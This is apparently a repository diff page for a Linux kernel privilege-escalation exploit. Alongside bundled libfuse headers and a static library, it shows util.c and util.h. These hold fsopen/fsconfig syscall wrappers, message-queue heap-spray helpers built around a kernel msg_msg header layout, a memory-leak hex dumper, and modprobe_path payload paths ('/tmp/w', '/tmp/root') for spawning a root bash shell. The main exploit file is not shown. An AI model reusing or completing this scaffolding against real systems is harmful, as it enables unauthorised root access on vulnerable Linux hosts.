     174 + * @param data is the user data passed to the fuse_opt_parse() function
     175 + * @param arg is the whole argument or option
     176 + * @param key determines why the processing function was called
     177 + * @param outargs the current output argument list
     178 + * @return -1 on error, 0 if arg is to be discarded, 1 if arg should be kept
     179 + */
     180 +typedef int (*fuse_opt_proc_t)(void *data, const char *arg, int key,
     181 + struct fuse_args *outargs);
     182 + 
     183 +/**
     184 + * Option parsing function
     185 + *
     186 + * If 'args' was returned from a previous call to fuse_opt_parse() or
     187 + * it was constructed from
     188 + *
     189 + * A NULL 'args' is equivalent to an empty argument vector
     190 + *
     191 + * A NULL 'opts' is equivalent to an 'opts' array containing a single
     192 + * end marker
     193 + *
     194 + * A NULL 'proc' is equivalent to a processing function always
     195 + * returning '1'
     196 + *
     197 + * @param args is the input and output argument list
     198 + * @param data is the user data
     199 + * @param opts is the option description array
     200 + * @param proc is the processing function
     201 + * @return -1 on error, 0 on success
     202 + */
     203 +int fuse_opt_parse(struct fuse_args *args, void *data,
     204 + const struct fuse_opt opts[], fuse_opt_proc_t proc);
     205 + 
     206 +/**
     207 + * Add an option to a comma separated option list
     208 + *
     209 + * @param opts is a pointer to an option list, may point to a NULL value
     210 + * @param opt is the option to add
     211 + * @return -1 on allocation error, 0 on success
     212 + */
     213 +int fuse_opt_add_opt(char **opts, const char *opt);
     214 + 
     215 +/**
     216 + * Add an option, escaping commas, to a comma separated option list
     217 + *
     218 + * @param opts is a pointer to an option list, may point to a NULL value
     219 + * @param opt is the option to add
     220 + * @return -1 on allocation error, 0 on success
     221 + */
     222 +int fuse_opt_add_opt_escaped(char **opts, const char *opt);
     223 + 
     224 +/**
     225 + * Add an argument to a NULL terminated argument vector
     226 + *
     227 + * @param args is the structure containing the current argument list
     228 + * @param arg is the new argument to add
     229 + * @return -1 on allocation error, 0 on success
     230 + */
     231 +int fuse_opt_add_arg(struct fuse_args *args, const char *arg);
     232 + 
     233 +/**
     234 + * Add an argument at the specified position in a NULL terminated
     235 + * argument vector
     236 + *
     237 + * Adds the argument to the N-th position. This is useful for adding
     238 + * options at the beginning of the array which must not come after the
     239 + * special '--' option.
     240 + *
     241 + * @param args is the structure containing the current argument list
     242 + * @param pos is the position at which to add the argument
     243 + * @param arg is the new argument to add
     244 + * @return -1 on allocation error, 0 on success
     245 + */
     246 +int fuse_opt_insert_arg(struct fuse_args *args, int pos, const char *arg);
     247 + 
     248 +/**
     249 + * Free the contents of argument list
     250 + *
     251 + * The structure itself is not freed
     252 + *
     253 + * @param args is the structure containing the argument list
     254 + */
     255 +void fuse_opt_free_args(struct fuse_args *args);
     256 + 
     257 + 
     258 +/**
     259 + * Check if an option matches
     260 + *
     261 + * @param opts is the option description array
     262 + * @param opt is the option to match
     263 + * @return 1 if a match is found, 0 if not
     264 + */
     265 +int fuse_opt_match(const struct fuse_opt opts[], const char *opt);
     266 + 
     267 +#ifdef __cplusplus
     268 +}
     269 +#endif
     270 + 
     271 +#endif /* FUSE_OPT_H_ */
     272 + 
  • ■ ■ ■ ■ ■
    libfuse/meson.build
     1 +libfuse_headers = [ 'fuse.h', 'fuse_common.h', 'fuse_lowlevel.h',
     2 + 'fuse_opt.h', 'cuse_lowlevel.h', 'fuse_log.h' ]
     3 + 
     4 +install_headers(libfuse_headers, subdir: 'fuse3')
     5 + 
  • libfuse3.a
    Binary file.
  • ■ ■ ■ ■ ■ ■
    util.c
     1 +#include "util.h"
     2 + 
     3 +char *modprobe_win = "/tmp/w";
     4 +char *modprobe_trigger = "/tmp/root";
     5 +char *root_argv[] = {"-p", NULL};
     6 + 
     7 +void hexprint(char *buffer, unsigned int bytes)
     8 +{
     9 + int dqwords = ((bytes + 0x10 - 1)&0xfffffff0) / 0x10;
     10 + int qwords = dqwords * 2;
     11 + for (int i = 0; i < qwords; i+=2) {
     12 + printf("0x%04x: 0x%016llx 0x%016llx\n", (i * 0x8), ((unsigned long long*)buffer)[i], ((unsigned long long*)buffer)[i+1]);
     13 + }
     14 + puts("-----------------------------------------------");
     15 + return;
     16 +}
     17 + 
     18 +int32_t make_queue(key_t key, int msgflg)
     19 +{
     20 + int32_t result;
     21 + if ((result = msgget(key, msgflg)) == -1)
     22 + {
     23 + perror("msgget failure");
     24 + exit(-1);
     25 + }
     26 + return result;
     27 +}
     28 + 
     29 +ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
     30 +{
     31 + ssize_t ret;
     32 + ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
     33 + return ret;
     34 +}
     35 + 
     36 +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
     37 +{
     38 + ssize_t ret;
     39 + ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
     40 + if (ret < 0)
     41 + {
     42 + perror("msgrcv");
     43 + exit(-1);
     44 + }
     45 + return ret;
     46 +}
     47 + 
     48 +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg)
     49 +{
     50 + if (msgsnd(msqid, msgp, msgsz, msgflg) == -1)
     51 + {
     52 + perror("msgsend failure");
     53 + exit(-1);
     54 + }
     55 + return;
     56 +}
     57 + 
  • ■ ■ ■ ■ ■ ■
    util.h
     1 +#define _GNU_SOURCE
     2 +#include <stdio.h>
     3 +#include <string.h>
     4 +#include <unistd.h>
     5 +#include <stdlib.h>
     6 +#include <stdint.h>
     7 +#include <stdbool.h>
     8 +#include <fcntl.h>
     9 +#include <sched.h>
     10 +#include <pthread.h>
     11 +#include <poll.h>
     12 +#include <assert.h>
     13 +#include <time.h>
     14 +#include <sys/mman.h>
     15 +#include <sys/ipc.h>
     16 +#include <sys/msg.h>
     17 +#include <sys/wait.h>
     18 +#include <sys/syscall.h>
     19 +#include <sys/ioctl.h>
     20 +#include <linux/sched.h>
     21 + 
     22 +#define MSG_COPY 040000
     23 + 
     24 +#ifndef __NR_fsconfig
     25 +#define __NR_fsconfig 431
     26 +#endif
     27 +#ifndef __NR_fsopen
     28 +#define __NR_fsopen 430
     29 +#endif
     30 +#define FSCONFIG_SET_STRING 1
     31 +#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
     32 +#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
     33 + 
     34 +extern char *modprobe_win;
     35 +extern char *modprobe_trigger;
     36 +#define SHELL "/bin/bash"
     37 +extern char *root_argv[];
     38 + 
     39 +typedef struct
     40 +{
     41 + long mtype;
     42 + char mtext[1];
     43 +}msg;
     44 + 
     45 +typedef struct
     46 +{
     47 + void *ll_next;
     48 + void *ll_prev;
     49 + long m_type;
     50 + size_t m_ts;
     51 + void *next;
     52 + void *security;
     53 +}msg_header;
     54 + 
     55 +void hexprint(char *buffer, unsigned int bytes);
     56 +int32_t make_queue(key_t key, int msgflg);
     57 +ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);
     58 +ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg);
     59 +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg);
Please wait...
Page is in error, reload to recover